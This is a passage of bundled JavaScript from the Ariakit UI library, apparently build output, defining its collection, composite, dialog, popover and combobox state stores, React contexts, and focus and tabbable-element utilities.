      return parentElement;
    }
    parentElement = parentElement.parentElement;
  }
  return getDocument(parentElement).body;
}
function getPrivateStore(store) {
  return store == null ? void 0 : store.__unstablePrivateStore;
}
function createCollectionStore(props = {}) {
  var _a;
  throwOnConflictingProps(props, props.store);
  const syncState = (_a = props.store) == null ? void 0 : _a.getState();
  const items = defaultValue(
    props.items,
    syncState == null ? void 0 : syncState.items,
    props.defaultItems,
    []
  );
  const itemsMap = new Map(items.map((item) => [item.id, item]));
  const initialState = {
    items,
    renderedItems: defaultValue(syncState == null ? void 0 : syncState.renderedItems, [])
  };
  const syncPrivateStore = getPrivateStore(props.store);
  const privateStore = createStore(
    { items, renderedItems: initialState.renderedItems },
    syncPrivateStore
  );
  const collection = createStore(initialState, props.store);
  const sortItems = (renderedItems) => {
    const sortedItems = sortBasedOnDOMPosition(renderedItems, (i) => i.element);
    privateStore.setState("renderedItems", sortedItems);
    collection.setState("renderedItems", sortedItems);
  };
  setup(collection, () => init(privateStore));
  setup(privateStore, () => {
    return batch(privateStore, ["items"], (state) => {
      collection.setState("items", state.items);
    });
  });
  setup(privateStore, () => {
    return batch(privateStore, ["renderedItems"], (state) => {
      let firstRun = true;
      let raf = requestAnimationFrame(() => {
        const { renderedItems } = collection.getState();
        if (state.renderedItems === renderedItems) return;
        sortItems(state.renderedItems);
      });
      if (typeof IntersectionObserver !== "function") {
        return () => cancelAnimationFrame(raf);
      }
      const ioCallback = () => {
        if (firstRun) {
          firstRun = false;
          return;
        }
        cancelAnimationFrame(raf);
        raf = requestAnimationFrame(() => sortItems(state.renderedItems));
      };
      const root = getCommonParent(state.renderedItems);
      const observer = new IntersectionObserver(ioCallback, { root });
      for (const item of state.renderedItems) {
        if (!item.element) continue;
        observer.observe(item.element);
      }
      return () => {
        cancelAnimationFrame(raf);
        observer.disconnect();
      };
    });
  });
  const mergeItem = (item, setItems, canDeleteFromMap = false) => {
    let prevItem;
    setItems((items2) => {
      const index = items2.findIndex(({ id }) => id === item.id);
      const nextItems = items2.slice();
      if (index !== -1) {
        prevItem = items2[index];
        const nextItem = _chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, prevItem), item);
        nextItems[index] = nextItem;
        itemsMap.set(item.id, nextItem);
      } else {
        nextItems.push(item);
        itemsMap.set(item.id, item);
      }
      return nextItems;
    });
    const unmergeItem = () => {
      setItems((items2) => {
        if (!prevItem) {
          if (canDeleteFromMap) {
            itemsMap.delete(item.id);
          }
          return items2.filter(({ id }) => id !== item.id);
        }
        const index = items2.findIndex(({ id }) => id === item.id);
        if (index === -1) return items2;
        const nextItems = items2.slice();
        nextItems[index] = prevItem;
        itemsMap.set(item.id, prevItem);
        return nextItems;
      });
    };
    return unmergeItem;
  };
  const registerItem = (item) => mergeItem(
    item,
    (getItems) => privateStore.setState("items", getItems),
    true
  );
  return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, collection), {
    registerItem,
    renderItem: (item) => chain(
      registerItem(item),
      mergeItem(
        item,
        (getItems) => privateStore.setState("renderedItems", getItems)
      )
    ),
    item: (id) => {
      if (!id) return null;
      let item = itemsMap.get(id);
      if (!item) {
        const { items: items2 } = privateStore.getState();
        item = items2.find((item2) => item2.id === id);
        if (item) {
          itemsMap.set(id, item);
        }
      }
      return item || null;
    },
    // @ts-expect-error Internal
    __unstablePrivateStore: privateStore
  });
}



;// ./node_modules/@ariakit/core/esm/__chunks/7PRQYBBV.js
"use client";

// src/utils/array.ts
function toArray(arg) {
  if (Array.isArray(arg)) {
    return arg;
  }
  return typeof arg !== "undefined" ? [arg] : [];
}
function addItemToArray(array, item, index = -1) {
  if (!(index in array)) {
    return [...array, item];
  }
  return [...array.slice(0, index), item, ...array.slice(index)];
}
function flatten2DArray(array) {
  const flattened = [];
  for (const row of array) {
    flattened.push(...row);
  }
  return flattened;
}
function reverseArray(array) {
  return array.slice().reverse();
}



;// ./node_modules/@ariakit/core/esm/__chunks/AJZ4BYF3.js
"use client";






// src/composite/composite-store.ts
var NULL_ITEM = { id: null };
function findFirstEnabledItem(items, excludeId) {
  return items.find((item) => {
    if (excludeId) {
      return !item.disabled && item.id !== excludeId;
    }
    return !item.disabled;
  });
}
function getEnabledItems(items, excludeId) {
  return items.filter((item) => {
    if (excludeId) {
      return !item.disabled && item.id !== excludeId;
    }
    return !item.disabled;
  });
}
function getItemsInRow(items, rowId) {
  return items.filter((item) => item.rowId === rowId);
}
function flipItems(items, activeId, shouldInsertNullItem = false) {
  const index = items.findIndex((item) => item.id === activeId);
  return [
    ...items.slice(index + 1),
    ...shouldInsertNullItem ? [NULL_ITEM] : [],
    ...items.slice(0, index)
  ];
}
function groupItemsByRows(items) {
  const rows = [];
  for (const item of items) {
    const row = rows.find((currentRow) => {
      var _a;
      return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
    });
    if (row) {
      row.push(item);
    } else {
      rows.push([item]);
    }
  }
  return rows;
}
function getMaxRowLength(array) {
  let maxLength = 0;
  for (const { length } of array) {
    if (length > maxLength) {
      maxLength = length;
    }
  }
  return maxLength;
}
function createEmptyItem(rowId) {
  return {
    id: "__EMPTY_ITEM__",
    disabled: true,
    rowId
  };
}
function normalizeRows(rows, activeId, focusShift) {
  const maxLength = getMaxRowLength(rows);
  for (const row of rows) {
    for (let i = 0; i < maxLength; i += 1) {
      const item = row[i];
      if (!item || focusShift && item.disabled) {
        const isFirst = i === 0;
        const previousItem = isFirst && focusShift ? findFirstEnabledItem(row) : row[i - 1];
        row[i] = previousItem && activeId !== previousItem.id && focusShift ? previousItem : createEmptyItem(previousItem == null ? void 0 : previousItem.rowId);
      }
    }
  }
  return rows;
}
function verticalizeItems(items) {
  const rows = groupItemsByRows(items);
  const maxLength = getMaxRowLength(rows);
  const verticalized = [];
  for (let i = 0; i < maxLength; i += 1) {
    for (const row of rows) {
      const item = row[i];
      if (item) {
        verticalized.push(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, item), {
          // If there's no rowId, it means that it's not a grid composite, but
          // a single row instead. So, instead of verticalizing it, that is,
          // assigning a different rowId based on the column index, we keep it
          // undefined so they will be part of the same row. This is useful
          // when using up/down on one-dimensional composites.
          rowId: item.rowId ? `${i}` : void 0
        }));
      }
    }
  }
  return verticalized;
}
function createCompositeStore(props = {}) {
  var _a;
  const syncState = (_a = props.store) == null ? void 0 : _a.getState();
  const collection = createCollectionStore(props);
  const activeId = defaultValue(
    props.activeId,
    syncState == null ? void 0 : syncState.activeId,
    props.defaultActiveId
  );
  const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, collection.getState()), {
    id: defaultValue(
      props.id,
      syncState == null ? void 0 : syncState.id,
      `id-${Math.random().toString(36).slice(2, 8)}`
    ),
    activeId,
    baseElement: defaultValue(syncState == null ? void 0 : syncState.baseElement, null),
    includesBaseElement: defaultValue(
      props.includesBaseElement,
      syncState == null ? void 0 : syncState.includesBaseElement,
      activeId === null
    ),
    moves: defaultValue(syncState == null ? void 0 : syncState.moves, 0),
    orientation: defaultValue(
      props.orientation,
      syncState == null ? void 0 : syncState.orientation,
      "both"
    ),
    rtl: defaultValue(props.rtl, syncState == null ? void 0 : syncState.rtl, false),
    virtualFocus: defaultValue(
      props.virtualFocus,
      syncState == null ? void 0 : syncState.virtualFocus,
      false
    ),
    focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, false),
    focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, false),
    focusShift: defaultValue(props.focusShift, syncState == null ? void 0 : syncState.focusShift, false)
  });
  const composite = createStore(initialState, collection, props.store);
  setup(
    composite,
    () => sync(composite, ["renderedItems", "activeId"], (state) => {
      composite.setState("activeId", (activeId2) => {
        var _a2;
        if (activeId2 !== void 0) return activeId2;
        return (_a2 = findFirstEnabledItem(state.renderedItems)) == null ? void 0 : _a2.id;
      });
    })
  );
  const getNextId = (direction = "next", options = {}) => {
    var _a2, _b;
    const defaultState = composite.getState();
    const {
      skip = 0,
      activeId: activeId2 = defaultState.activeId,
      focusShift = defaultState.focusShift,
      focusLoop = defaultState.focusLoop,
      focusWrap = defaultState.focusWrap,
      includesBaseElement = defaultState.includesBaseElement,
      renderedItems = defaultState.renderedItems,
      rtl = defaultState.rtl
    } = options;
    const isVerticalDirection = direction === "up" || direction === "down";
    const isNextDirection = direction === "next" || direction === "down";
    const canReverse = isNextDirection ? rtl && !isVerticalDirection : !rtl || isVerticalDirection;
    const canShift = focusShift && !skip;
    let items = !isVerticalDirection ? renderedItems : flatten2DArray(
      normalizeRows(groupItemsByRows(renderedItems), activeId2, canShift)
    );
    items = canReverse ? reverseArray(items) : items;
    items = isVerticalDirection ? verticalizeItems(items) : items;
    if (activeId2 == null) {
      return (_a2 = findFirstEnabledItem(items)) == null ? void 0 : _a2.id;
    }
    const activeItem = items.find((item) => item.id === activeId2);
    if (!activeItem) {
      return (_b = findFirstEnabledItem(items)) == null ? void 0 : _b.id;
    }
    const isGrid = items.some((item) => item.rowId);
    const activeIndex = items.indexOf(activeItem);
    const nextItems = items.slice(activeIndex + 1);
    const nextItemsInRow = getItemsInRow(nextItems, activeItem.rowId);
    if (skip) {
      const nextEnabledItemsInRow = getEnabledItems(nextItemsInRow, activeId2);
      const nextItem2 = nextEnabledItemsInRow.slice(skip)[0] || // If we can't find an item, just return the last one.
      nextEnabledItemsInRow[nextEnabledItemsInRow.length - 1];
      return nextItem2 == null ? void 0 : nextItem2.id;
    }
    const canLoop = focusLoop && (isVerticalDirection ? focusLoop !== "horizontal" : focusLoop !== "vertical");
    const canWrap = isGrid && focusWrap && (isVerticalDirection ? focusWrap !== "horizontal" : focusWrap !== "vertical");
    const hasNullItem = isNextDirection ? (!isGrid || isVerticalDirection) && canLoop && includesBaseElement : isVerticalDirection ? includesBaseElement : false;
    if (canLoop) {
      const loopItems = canWrap && !hasNullItem ? items : getItemsInRow(items, activeItem.rowId);
      const sortedItems = flipItems(loopItems, activeId2, hasNullItem);
      const nextItem2 = findFirstEnabledItem(sortedItems, activeId2);
      return nextItem2 == null ? void 0 : nextItem2.id;
    }
    if (canWrap) {
      const nextItem2 = findFirstEnabledItem(
        // We can use nextItems, which contains all the next items, including
        // items from other rows, to wrap between rows. However, if there is a
        // null item (the composite container), we'll only use the next items in
        // the row. So moving next from the last item will focus on the
        // composite container. On grid composites, horizontal navigation never
        // focuses on the composite container, only vertical.
        hasNullItem ? nextItemsInRow : nextItems,
        activeId2
      );
      const nextId = hasNullItem ? (nextItem2 == null ? void 0 : nextItem2.id) || null : nextItem2 == null ? void 0 : nextItem2.id;
      return nextId;
    }
    const nextItem = findFirstEnabledItem(nextItemsInRow, activeId2);
    if (!nextItem && hasNullItem) {
      return null;
    }
    return nextItem == null ? void 0 : nextItem.id;
  };
  return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, collection), composite), {
    setBaseElement: (element) => composite.setState("baseElement", element),
    setActiveId: (id) => composite.setState("activeId", id),
    move: (id) => {
      if (id === void 0) return;
      composite.setState("activeId", id);
      composite.setState("moves", (moves) => moves + 1);
    },
    first: () => {
      var _a2;
      return (_a2 = findFirstEnabledItem(composite.getState().renderedItems)) == null ? void 0 : _a2.id;
    },
    last: () => {
      var _a2;
      return (_a2 = findFirstEnabledItem(reverseArray(composite.getState().renderedItems))) == null ? void 0 : _a2.id;
    },
    next: (options) => {
      if (options !== void 0 && typeof options === "number") {
        options = { skip: options };
      }
      return getNextId("next", options);
    },
    previous: (options) => {
      if (options !== void 0 && typeof options === "number") {
        options = { skip: options };
      }
      return getNextId("previous", options);
    },
    down: (options) => {
      if (options !== void 0 && typeof options === "number") {
        options = { skip: options };
      }
      return getNextId("down", options);
    },
    up: (options) => {
      if (options !== void 0 && typeof options === "number") {
        options = { skip: options };
      }
      return getNextId("up", options);
    }
  });
}



;// ./node_modules/@ariakit/core/esm/__chunks/RCQ5P4YE.js
"use client";




// src/disclosure/disclosure-store.ts
function createDisclosureStore(props = {}) {
  const store = mergeStore(
    props.store,
    omit2(props.disclosure, ["contentElement", "disclosureElement"])
  );
  throwOnConflictingProps(props, store);
  const syncState = store == null ? void 0 : store.getState();
  const open = defaultValue(
    props.open,
    syncState == null ? void 0 : syncState.open,
    props.defaultOpen,
    false
  );
  const animated = defaultValue(props.animated, syncState == null ? void 0 : syncState.animated, false);
  const initialState = {
    open,
    animated,
    animating: !!animated && open,
    mounted: open,
    contentElement: defaultValue(syncState == null ? void 0 : syncState.contentElement, null),
    disclosureElement: defaultValue(syncState == null ? void 0 : syncState.disclosureElement, null)
  };
  const disclosure = createStore(initialState, store);
  setup(
    disclosure,
    () => sync(disclosure, ["animated", "animating"], (state) => {
      if (state.animated) return;
      disclosure.setState("animating", false);
    })
  );
  setup(
    disclosure,
    () => subscribe(disclosure, ["open"], () => {
      if (!disclosure.getState().animated) return;
      disclosure.setState("animating", true);
    })
  );
  setup(
    disclosure,
    () => sync(disclosure, ["open", "animating"], (state) => {
      disclosure.setState("mounted", state.open || state.animating);
    })
  );
  return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, disclosure), {
    disclosure: props.disclosure,
    setOpen: (value) => disclosure.setState("open", value),
    show: () => disclosure.setState("open", true),
    hide: () => disclosure.setState("open", false),
    toggle: () => disclosure.setState("open", (open2) => !open2),
    stopAnimation: () => disclosure.setState("animating", false),
    setContentElement: (value) => disclosure.setState("contentElement", value),
    setDisclosureElement: (value) => disclosure.setState("disclosureElement", value)
  });
}



;// ./node_modules/@ariakit/core/esm/__chunks/FZZ2AVHF.js
"use client";


// src/dialog/dialog-store.ts
function createDialogStore(props = {}) {
  return createDisclosureStore(props);
}



;// ./node_modules/@ariakit/core/esm/__chunks/ME2CUF3F.js
"use client";





// src/popover/popover-store.ts
function createPopoverStore(_a = {}) {
  var _b = _a, {
    popover: otherPopover
  } = _b, props = _3YLGPPWQ_objRest(_b, [
    "popover"
  ]);
  const store = mergeStore(
    props.store,
    omit2(otherPopover, [
      "arrowElement",
      "anchorElement",
      "contentElement",
      "popoverElement",
      "disclosureElement"
    ])
  );
  throwOnConflictingProps(props, store);
  const syncState = store == null ? void 0 : store.getState();
  const dialog = createDialogStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), { store }));
  const placement = defaultValue(
    props.placement,
    syncState == null ? void 0 : syncState.placement,
    "bottom"
  );
  const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, dialog.getState()), {
    placement,
    currentPlacement: placement,
    anchorElement: defaultValue(syncState == null ? void 0 : syncState.anchorElement, null),
    popoverElement: defaultValue(syncState == null ? void 0 : syncState.popoverElement, null),
    arrowElement: defaultValue(syncState == null ? void 0 : syncState.arrowElement, null),
    rendered: Symbol("rendered")
  });
  const popover = createStore(initialState, dialog, store);
  return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, dialog), popover), {
    setAnchorElement: (element) => popover.setState("anchorElement", element),
    setPopoverElement: (element) => popover.setState("popoverElement", element),
    setArrowElement: (element) => popover.setState("arrowElement", element),
    render: () => popover.setState("rendered", Symbol("rendered"))
  });
}



;// ./node_modules/@ariakit/core/esm/combobox/combobox-store.js
"use client";












// src/combobox/combobox-store.ts
var isTouchSafari = isSafari() && isTouchDevice();
function createComboboxStore(_a = {}) {
  var _b = _a, {
    tag
  } = _b, props = _3YLGPPWQ_objRest(_b, [
    "tag"
  ]);
  const store = mergeStore(props.store, pick2(tag, ["value", "rtl"]));
  throwOnConflictingProps(props, store);
  const tagState = tag == null ? void 0 : tag.getState();
  const syncState = store == null ? void 0 : store.getState();
  const activeId = defaultValue(
    props.activeId,
    syncState == null ? void 0 : syncState.activeId,
    props.defaultActiveId,
    null
  );
  const composite = createCompositeStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), {
    activeId,
    includesBaseElement: defaultValue(
      props.includesBaseElement,
      syncState == null ? void 0 : syncState.includesBaseElement,
      true
    ),
    orientation: defaultValue(
      props.orientation,
      syncState == null ? void 0 : syncState.orientation,
      "vertical"
    ),
    focusLoop: defaultValue(props.focusLoop, syncState == null ? void 0 : syncState.focusLoop, true),
    focusWrap: defaultValue(props.focusWrap, syncState == null ? void 0 : syncState.focusWrap, true),
    virtualFocus: defaultValue(
      props.virtualFocus,
      syncState == null ? void 0 : syncState.virtualFocus,
      true
    )
  }));
  const popover = createPopoverStore(_chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues({}, props), {
    placement: defaultValue(
      props.placement,
      syncState == null ? void 0 : syncState.placement,
      "bottom-start"
    )
  }));
  const value = defaultValue(
    props.value,
    syncState == null ? void 0 : syncState.value,
    props.defaultValue,
    ""
  );
  const selectedValue = defaultValue(
    props.selectedValue,
    syncState == null ? void 0 : syncState.selectedValue,
    tagState == null ? void 0 : tagState.values,
    props.defaultSelectedValue,
    ""
  );
  const multiSelectable = Array.isArray(selectedValue);
  const initialState = _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, composite.getState()), popover.getState()), {
    value,
    selectedValue,
    resetValueOnSelect: defaultValue(
      props.resetValueOnSelect,
      syncState == null ? void 0 : syncState.resetValueOnSelect,
      multiSelectable
    ),
    resetValueOnHide: defaultValue(
      props.resetValueOnHide,
      syncState == null ? void 0 : syncState.resetValueOnHide,
      multiSelectable && !tag
    ),
    activeValue: syncState == null ? void 0 : syncState.activeValue
  });
  const combobox = createStore(initialState, composite, popover, store);
  if (isTouchSafari) {
    setup(
      combobox,
      () => sync(combobox, ["virtualFocus"], () => {
        combobox.setState("virtualFocus", false);
      })
    );
  }
  setup(combobox, () => {
    if (!tag) return;
    return chain(
      sync(combobox, ["selectedValue"], (state) => {
        if (!Array.isArray(state.selectedValue)) return;
        tag.setValues(state.selectedValue);
      }),
      sync(tag, ["values"], (state) => {
        combobox.setState("selectedValue", state.values);
      })
    );
  });
  setup(
    combobox,
    () => sync(combobox, ["resetValueOnHide", "mounted"], (state) => {
      if (!state.resetValueOnHide) return;
      if (state.mounted) return;
      combobox.setState("value", value);
    })
  );
  setup(
    combobox,
    () => sync(combobox, ["open"], (state) => {
      if (state.open) return;
      combobox.setState("activeId", activeId);
      combobox.setState("moves", 0);
    })
  );
  setup(
    combobox,
    () => sync(combobox, ["moves", "activeId"], (state, prevState) => {
      if (state.moves === prevState.moves) {
        combobox.setState("activeValue", void 0);
      }
    })
  );
  setup(
    combobox,
    () => batch(combobox, ["moves", "renderedItems"], (state, prev) => {
      if (state.moves === prev.moves) return;
      const { activeId: activeId2 } = combobox.getState();
      const activeItem = composite.item(activeId2);
      combobox.setState("activeValue", activeItem == null ? void 0 : activeItem.value);
    })
  );
  return _chunks_3YLGPPWQ_spreadProps(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues(_chunks_3YLGPPWQ_spreadValues({}, popover), composite), combobox), {
    tag,
    setValue: (value2) => combobox.setState("value", value2),
    resetValue: () => combobox.setState("value", initialState.value),
    setSelectedValue: (selectedValue2) => combobox.setState("selectedValue", selectedValue2)
  });
}


;// ./node_modules/@ariakit/react-core/esm/__chunks/FEOFMWBY.js
"use client";







// src/combobox/combobox-store.ts

function useComboboxStoreOptions(props) {
  const tag = useTagContext();
  props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
    tag: props.tag !== void 0 ? props.tag : tag
  });
  return useCompositeStoreOptions(props);
}
function useComboboxStoreProps(store, update, props) {
  useUpdateEffect(update, [props.tag]);
  useStoreProps(store, props, "value", "setValue");
  useStoreProps(store, props, "selectedValue", "setSelectedValue");
  useStoreProps(store, props, "resetValueOnHide");
  useStoreProps(store, props, "resetValueOnSelect");
  return Object.assign(
    useCompositeStoreProps(
      usePopoverStoreProps(store, update, props),
      update,
      props
    ),
    { tag: props.tag }
  );
}
function useComboboxStore(props = {}) {
  props = useComboboxStoreOptions(props);
  const [store, update] = YV4JVR4I_useStore(createComboboxStore, props);
  return useComboboxStoreProps(store, update, props);
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/S6EF7IVO.js
"use client";


// src/disclosure/disclosure-context.tsx
var S6EF7IVO_ctx = createStoreContext();
var useDisclosureContext = S6EF7IVO_ctx.useContext;
var useDisclosureScopedContext = S6EF7IVO_ctx.useScopedContext;
var useDisclosureProviderContext = S6EF7IVO_ctx.useProviderContext;
var DisclosureContextProvider = S6EF7IVO_ctx.ContextProvider;
var DisclosureScopedContextProvider = S6EF7IVO_ctx.ScopedContextProvider;



;// ./node_modules/@ariakit/react-core/esm/__chunks/RS7LB2H4.js
"use client";



// src/dialog/dialog-context.tsx

var RS7LB2H4_ctx = createStoreContext(
  [DisclosureContextProvider],
  [DisclosureScopedContextProvider]
);
var useDialogContext = RS7LB2H4_ctx.useContext;
var useDialogScopedContext = RS7LB2H4_ctx.useScopedContext;
var useDialogProviderContext = RS7LB2H4_ctx.useProviderContext;
var DialogContextProvider = RS7LB2H4_ctx.ContextProvider;
var DialogScopedContextProvider = RS7LB2H4_ctx.ScopedContextProvider;
var DialogHeadingContext = (0,external_React_.createContext)(void 0);
var DialogDescriptionContext = (0,external_React_.createContext)(void 0);



;// ./node_modules/@ariakit/react-core/esm/__chunks/MTZPJQMC.js
"use client";



// src/popover/popover-context.tsx
var MTZPJQMC_ctx = createStoreContext(
  [DialogContextProvider],
  [DialogScopedContextProvider]
);
var usePopoverContext = MTZPJQMC_ctx.useContext;
var usePopoverScopedContext = MTZPJQMC_ctx.useScopedContext;
var usePopoverProviderContext = MTZPJQMC_ctx.useProviderContext;
var PopoverContextProvider = MTZPJQMC_ctx.ContextProvider;
var PopoverScopedContextProvider = MTZPJQMC_ctx.ScopedContextProvider;



;// ./node_modules/@ariakit/react-core/esm/__chunks/VEVQD5MH.js
"use client";




// src/combobox/combobox-context.tsx

var ComboboxListRoleContext = (0,external_React_.createContext)(
  void 0
);
var VEVQD5MH_ctx = createStoreContext(
  [PopoverContextProvider, CompositeContextProvider],
  [PopoverScopedContextProvider, CompositeScopedContextProvider]
);
var useComboboxContext = VEVQD5MH_ctx.useContext;
var useComboboxScopedContext = VEVQD5MH_ctx.useScopedContext;
var useComboboxProviderContext = VEVQD5MH_ctx.useProviderContext;
var ComboboxContextProvider = VEVQD5MH_ctx.ContextProvider;
var ComboboxScopedContextProvider = VEVQD5MH_ctx.ScopedContextProvider;
var ComboboxItemValueContext = (0,external_React_.createContext)(
  void 0
);
var ComboboxItemCheckedContext = (0,external_React_.createContext)(false);



;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-provider.js
"use client";



















// src/combobox/combobox-provider.tsx

function ComboboxProvider(props = {}) {
  const store = useComboboxStore(props);
  return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ComboboxContextProvider, { value: store, children: props.children });
}


;// ./node_modules/@ariakit/react-core/esm/combobox/combobox-label.js
"use client";











// src/combobox/combobox-label.tsx

var TagName = "label";
var useComboboxLabel = createHook(
  function useComboboxLabel2(_a) {
    var _b = _a, { store } = _b, props = __objRest(_b, ["store"]);
    const context = useComboboxProviderContext();
    store = store || context;
    invariant(
      store,
       false && 0
    );
    const comboboxId = store.useState((state) => {
      var _a2;
      return (_a2 = state.baseElement) == null ? void 0 : _a2.id;
    });
    props = _3YLGPPWQ_spreadValues({
      htmlFor: comboboxId
    }, props);
    return removeUndefinedValues(props);
  }
);
var ComboboxLabel = memo2(
  forwardRef2(function ComboboxLabel2(props) {
    const htmlProps = useComboboxLabel(props);
    return createElement(TagName, htmlProps);
  })
);


;// ./node_modules/@ariakit/react-core/esm/__chunks/OMU7RWRV.js
"use client";





// src/popover/popover-anchor.tsx
var OMU7RWRV_TagName = "div";
var usePopoverAnchor = createHook(
  function usePopoverAnchor2(_a) {
    var _b = _a, { store } = _b, props = __objRest(_b, ["store"]);
    const context = usePopoverProviderContext();
    store = store || context;
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({}, props), {
      ref: useMergeRefs(store == null ? void 0 : store.setAnchorElement, props.ref)
    });
    return props;
  }
);
var PopoverAnchor = forwardRef2(function PopoverAnchor2(props) {
  const htmlProps = usePopoverAnchor(props);
  return createElement(OMU7RWRV_TagName, htmlProps);
});



;// ./node_modules/@ariakit/react-core/esm/__chunks/5VQZOHHZ.js
"use client";

// src/composite/utils.ts

var _5VQZOHHZ_NULL_ITEM = { id: null };
function _5VQZOHHZ_flipItems(items, activeId, shouldInsertNullItem = false) {
  const index = items.findIndex((item) => item.id === activeId);
  return [
    ...items.slice(index + 1),
    ...shouldInsertNullItem ? [_5VQZOHHZ_NULL_ITEM] : [],
    ...items.slice(0, index)
  ];
}
function _5VQZOHHZ_findFirstEnabledItem(items, excludeId) {
  return items.find((item) => {
    if (excludeId) {
      return !item.disabled && item.id !== excludeId;
    }
    return !item.disabled;
  });
}
function getEnabledItem(store, id) {
  if (!id) return null;
  return store.item(id) || null;
}
function _5VQZOHHZ_groupItemsByRows(items) {
  const rows = [];
  for (const item of items) {
    const row = rows.find((currentRow) => {
      var _a;
      return ((_a = currentRow[0]) == null ? void 0 : _a.rowId) === item.rowId;
    });
    if (row) {
      row.push(item);
    } else {
      rows.push([item]);
    }
  }
  return rows;
}
function selectTextField(element, collapseToEnd = false) {
  if (isTextField(element)) {
    element.setSelectionRange(
      collapseToEnd ? element.value.length : 0,
      element.value.length
    );
  } else if (element.isContentEditable) {
    const selection = getDocument(element).getSelection();
    selection == null ? void 0 : selection.selectAllChildren(element);
    if (collapseToEnd) {
      selection == null ? void 0 : selection.collapseToEnd();
    }
  }
}
var FOCUS_SILENTLY = Symbol("FOCUS_SILENTLY");
function focusSilently(element) {
  element[FOCUS_SILENTLY] = true;
  element.focus({ preventScroll: true });
}
function silentlyFocused(element) {
  const isSilentlyFocused = element[FOCUS_SILENTLY];
  delete element[FOCUS_SILENTLY];
  return isSilentlyFocused;
}
function isItem(store, element, exclude) {
  if (!element) return false;
  if (element === exclude) return false;
  const item = store.item(element.id);
  if (!item) return false;
  if (exclude && item.element === exclude) return false;
  return true;
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/SWN3JYXT.js
"use client";

// src/focusable/focusable-context.tsx

var FocusableContext = (0,external_React_.createContext)(true);



;// ./node_modules/@ariakit/core/esm/utils/focus.js
"use client";



// src/utils/focus.ts
var selector = "input:not([type='hidden']):not([disabled]), select:not([disabled]), textarea:not([disabled]), a[href], button:not([disabled]), [tabindex], summary, iframe, object, embed, area[href], audio[controls], video[controls], [contenteditable]:not([contenteditable='false'])";
function hasNegativeTabIndex(element) {
  const tabIndex = Number.parseInt(element.getAttribute("tabindex") || "0", 10);
  return tabIndex < 0;
}
function isFocusable(element) {
  if (!element.matches(selector)) return false;
  if (!isVisible(element)) return false;
  if (element.closest("[inert]")) return false;
  return true;
}
function isTabbable(element) {
  if (!isFocusable(element)) return false;
  if (hasNegativeTabIndex(element)) return false;
  if (!("form" in element)) return true;
  if (!element.form) return true;
  if (element.checked) return true;
  if (element.type !== "radio") return true;
  const radioGroup = element.form.elements.namedItem(element.name);
  if (!radioGroup) return true;
  if (!("length" in radioGroup)) return true;
  const activeElement = getActiveElement(element);
  if (!activeElement) return true;
  if (activeElement === element) return true;
  if (!("form" in activeElement)) return true;
  if (activeElement.form !== element.form) return true;
  if (activeElement.name !== element.name) return true;
  return false;
}
function getAllFocusableIn(container, includeContainer) {
  const elements = Array.from(
    container.querySelectorAll(selector)
  );
  if (includeContainer) {
    elements.unshift(container);
  }
  const focusableElements = elements.filter(isFocusable);
  focusableElements.forEach((element, i) => {
    if (isFrame(element) && element.contentDocument) {
      const frameBody = element.contentDocument.body;
      focusableElements.splice(i, 1, ...getAllFocusableIn(frameBody));
    }
  });
  return focusableElements;
}
function getAllFocusable(includeBody) {
  return getAllFocusableIn(document.body, includeBody);
}
function getFirstFocusableIn(container, includeContainer) {
  const [first] = getAllFocusableIn(container, includeContainer);
  return first || null;
}
function getFirstFocusable(includeBody) {
  return getFirstFocusableIn(document.body, includeBody);
}
function getAllTabbableIn(container, includeContainer, fallbackToFocusable) {
  const elements = Array.from(
    container.querySelectorAll(selector)
  );
  const tabbableElements = elements.filter(isTabbable);
  if (includeContainer && isTabbable(container)) {
    tabbableElements.unshift(container);
  }
  tabbableElements.forEach((element, i) => {
    if (isFrame(element) && element.contentDocument) {
      const frameBody = element.contentDocument.body;
      const allFrameTabbable = getAllTabbableIn(
        frameBody,
        false,
        fallbackToFocusable
      );
      tabbableElements.splice(i, 1, ...allFrameTabbable);
    }
  });
  if (!tabbableElements.length && fallbackToFocusable) {
    return elements;
  }
  return tabbableElements;
}
function getAllTabbable(fallbackToFocusable) {
  return getAllTabbableIn(document.body, false, fallbackToFocusable);
}
function getFirstTabbableIn(container, includeContainer, fallbackToFocusable) {
  const [first] = getAllTabbableIn(
    container,
    includeContainer,
    fallbackToFocusable
  );
  return first || null;
}
function getFirstTabbable(fallbackToFocusable) {
  return getFirstTabbableIn(document.body, false, fallbackToFocusable);
}
function getLastTabbableIn(container, includeContainer, fallbackToFocusable) {
  const allTabbable = getAllTabbableIn(
    container,
    includeContainer,
    fallbackToFocusable
  );
  return allTabbable[allTabbable.length - 1] || null;
}
function getLastTabbable(fallbackToFocusable) {
  return getLastTabbableIn(document.body, false, fallbackToFocusable);
}
